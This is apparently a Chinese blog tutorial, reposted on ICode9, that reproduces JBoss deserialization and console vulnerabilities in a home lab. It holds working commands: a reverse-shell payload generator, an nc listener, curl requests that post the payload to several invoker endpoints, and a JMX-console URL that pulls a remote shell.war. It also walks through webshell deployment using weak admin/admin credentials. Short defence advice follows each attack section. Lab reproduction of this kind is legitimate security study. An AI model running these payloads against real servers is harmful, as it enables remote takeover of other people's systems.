ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

JBoss中间件漏洞

2021-11-18 23:59:34  阅读:320  来源: 互联网

标签:jboss console 中间件 JBoss 漏洞 invoker CVE


目录

一、JBoss是什么?

二、安装环境

1. Jdk

2. 下载JBoos4、6,并进行配置

三、 反序列漏洞

1. HttpInvoker 组件(CVE-2017-12149)

2. JMXInvokerServlet组件(CVE-2015-7501)

3. JBossMQ(CVE-2017-7504)

4. EJBInvokerServlet组件(CVE-2013-4810)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

2. JMX-console

jBoss4

JBoos6

防御

3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)





一、JBoss是什么?

JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。


二、安装环境

JBoss下载地址:https://jbossas.jboss.org/downloads/

jdk下载地址:https://www.oracle.com/java/technologies/downloads/


1. Jdk

由于漏洞不是JBoss4就是6的环境,没办法得整两套,如果硬件支持的话,建议开两个虚拟机,就非常方便哈。环境是重点,就吃了没仔细看说明的亏,用了jdk1.8,导致后面访问JMX-console报错,放开那个雷,让我来踩

jdk1.6支持JBoos4

jdk1.7支持JBoos6

2. 下载JBoos4、6,并进行配置

我用了JBoss AS 6.1.0.Final、4.2.3,你也可以用其他,可能复现和我点出入,建议第一次可以可以按照我的走,后面可以尝试下其他版本(如果是大佬那就当我没说)

JBoss AS 6.1.0.Final直接下载zip,4.2.3还得在选择一次,我选的jboss-4.2.3.GA-jdk6

 

都下载后配置环境变量,添加一个JBOSS_HOME属性,都为bin目录的上一级目录,并在path中添加%JBOSS_HOME%/bin

如果要外网访问的话要修改jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件,把下图红框位置的address属性值改成0.0.0.0即可(4.2.3文件路径为jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer下)

最后,打开双击bin目录下的run.bat,等一小会,你就可以看到此页面

6和4这个主页有点不一样,我这个是6

三、 反序列漏洞

exp:https://github.com/joaomatosf/JavaDeserH2HC

kali :192.168.50.72

靶机 :192.168.50.169

宿主机:192.168.50.59

下载完成后到JavaDeserH2HC下,执行

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.50.72:12345

生成反序列化payload

 

 .:不能省略,至于为什么不清楚,只能借助java大佬的帖子,强行解释了,

这些准备工作完了,就可以开始复现了

1. HttpInvoker 组件(CVE-2017-12149)

漏洞原理

存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响版本

Jboss AS 5.x

Jboss AS 6.x

漏洞验证

访问/invoker/readonly,返回500,说明此页面存在反序列化漏洞

   

开两个终端,一个进行监听(nc -lvnp 12345),另一个发payload

curl http://192.168.50.169:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

@不能省略

 

最后,成功反弹shell

防御

  1. 升级最新版本
  2. 删除http-invoker.sar 组件(jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
  3. jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xmlsecurity-constraint 标签下添加<url-pattern>/*</url-pattern>

2. JMXInvokerServlet组件(CVE-2015-7501)

漏洞原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞验证

访问/invoker/JMXInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

 

和上面利用方式一样,只是链接不一样

curl http://192.168.50.169:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 

防御

        和上面一样

3. JBossMQ(CVE-2017-7504)

漏洞原理

这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。

影响版本

Jboss AS 4.x及之前版本

漏洞验证

访问/jbossmq-httpil/HTTPServerILServlet,出现此页面,说明存在该漏洞

 

curl http://192.168.50.169:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 

防御

  1.  升级最新版本

4. EJBInvokerServlet组件(CVE-2013-4810)

漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

影响版本

jboss 6.x 版本

漏洞验证

访问/invoker/EJBInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

  

curl http://192.168.50.169:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 

防御

        同(CVE-2017-12149)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

复现

admin/admin弱口令登录后台,点击add a new resource上传war包

 

上传后报红了,以为不能部署,把我折磨了很久还以为我下的环境有问题,总而言之,警告归警告,该传还得传,最后发现包已经war已经部署到上面去了,发两次,第二次警告会说已经部署

  

   

 

接下来就连你的马子

防御

        1. 改强密码(jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

        2. 删除admin-console页面

2. JMX-console

jBoss4

 复现

点击jboss.deployer下面的链接

进去后寻找addURL(),修改ParamValue值为你远程war链接,点击Invoke,最后回到这个页面寻找Apply changes点击

 

这些都干了,来页面joss.web.deployment

 

于是乎访问你的马子,他就成了

 

这套操作适用于JBoos6,只是有点小出入,不用点击Apply changes

 

JBoos6

复现

寻找jboss.system,点击service=MainDeployer

  

找到该函数deploy,并在输入框里面写入远程war包链接最后点击Invoke

 

或者访问或者访问/jmx-console/HtmlAdaptor?

action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.50.59/shell.war进行部署

 

最后,访问你的马子

 

防御

        关闭JMX-console和web-console页面

3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)

复现

访问

/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位store函数

 

p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的后缀,p4传入的是上传文件的内容

注:冰蝎马上传后页面异常,无法连接

 防御

        官方发布修复补丁

        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036







 

标签:jboss,console,中间件,JBoss,漏洞,invoker,CVE
来源: https://blog.csdn.net/xd_2021/article/details/121409261

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有